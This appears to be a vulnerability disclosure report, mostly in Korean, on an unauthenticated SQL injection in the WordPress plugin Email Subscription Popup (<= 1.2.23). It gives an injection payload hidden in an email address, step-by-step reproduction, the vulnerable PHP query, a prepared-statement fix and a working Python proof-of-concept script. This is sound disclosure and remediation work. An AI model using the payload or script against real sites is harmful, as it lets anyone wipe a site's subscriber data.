Component type
WordPress plugin
Component details
Component name Email Subscription Popup
Vulnerable version <= 1.2.23
Component slug email-subscribe
OWASP 2017: TOP 10
Vulnerability class A3: Injection
Vulnerability type SQL Injection
Pre-requisite
Unauthenticated
Vulnerability details
Short description
권한이 없는 사용자(공격자)가 SQL Injection 취약점을 유발하는 페이로드가 포함된 이메일 주소로 뉴스레터를 구독합니다. 이후 관리자가 '구독자 관리' 페이지에서 해당 이메일 주소를 선택하고 삭제를 요청하면, 이메일 주소에 포함된 SQL Injection 페이로드로 인해 구독 중인 모든 사용자의 이메일 주소가 데이터베이스에서 삭제됩니다.
How to reproduce (PoC)
1.
‘Email Subscription Popup’ 플러그인(<= 1.2.23)이 활성화된 워드프레스 사이트를 준비합니다.
2.
파일로 첨부한 poc.py.txt 파일을 python으로 실행하여 SQL Injection 취약점을 유발하는 페이로드가 담긴 이메일 주소로 뉴스레터를 구독합니다.
•
이메일 주소 '/**/OR/**/1=1#@a.a
•
클라이언트(브라우저)에서는 위 이메일 주소 구독을 할 경우 유효성 검사로 인해 구독이 불가능 하므로 직접 HTTP 요청 패킷을 전송하여 구독합니다.(poc.py.txt 참고)
3.
관리자로 로그인한 뒤, http://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management 로 이동합니다.
4.
이후 이메일 주소가 '/**/OR/**/1=1#@a.a 인 이메일을 선택한 뒤 하단의 ‘Delete Selected Subscribers’ 버튼을 클릭합니다.
5.
그 결과, 구독중인 모든 이메일 주소가 삭제된 것을 확인할 수 있습니다.
Additional information (optional)
이 취약점은 wp-content/plugins/email-subscribe/wp-email-subscription.php 파일의 line 2080 ~ line 2084 에서 발생합니다.
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의
# line 2083 ~ line 2084
$query = "delete from " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);
PHP
복사
이 문제는 WordPress에서 제공하는 $wpdb->prepare() 를 사용하여 해결할 수 있습니다. 이 함수는 SQL 쿼리에 사용되는 변수를 안전하게 이스케이프하고 포맷팅하여 SQL 인젝션 공격을 방지합니다.
$query = $wpdb->prepare(
"DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
$em
);
$wpdb->query($query);
PHP
복사
Attach files (optional)
PoC Code
import re
import string
import random
import requests
TARGET = "http://localhost:8080"
def poc():
####
# 1. Retrieve the value of 'sec_string' required for email subscription
####
resp = requests.get(f"{TARGET}")
pattern = r'var nonce = \'(.{10})\';'
match = re.search(pattern, resp.text)
if match:
sec_string = match.group(1)
print("[*] sec_string: " + sec_string)
####
# 2. Generate subscribers with random email addresses
####
random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
for i in range(10):
data = {
"action": "store_email",
"email": f"{random_string}_{i}@example.com",
"name": f"{random_string}_{i}",
"is_agreed": "true",
"sec_string": sec_string
}
print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
####
# 3. Create a malicious email address to delete all subscriptions
####
data = {
"action": "store_email",
"email": "'/**/OR/**/1=1#@a.a",
"name": "Email mine",
"is_agreed": "true",
"sec_string": sec_string
}
print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
else:
print("[-] 'sec_string' not found")
if __name__ == "__main__":
poc()
Python
복사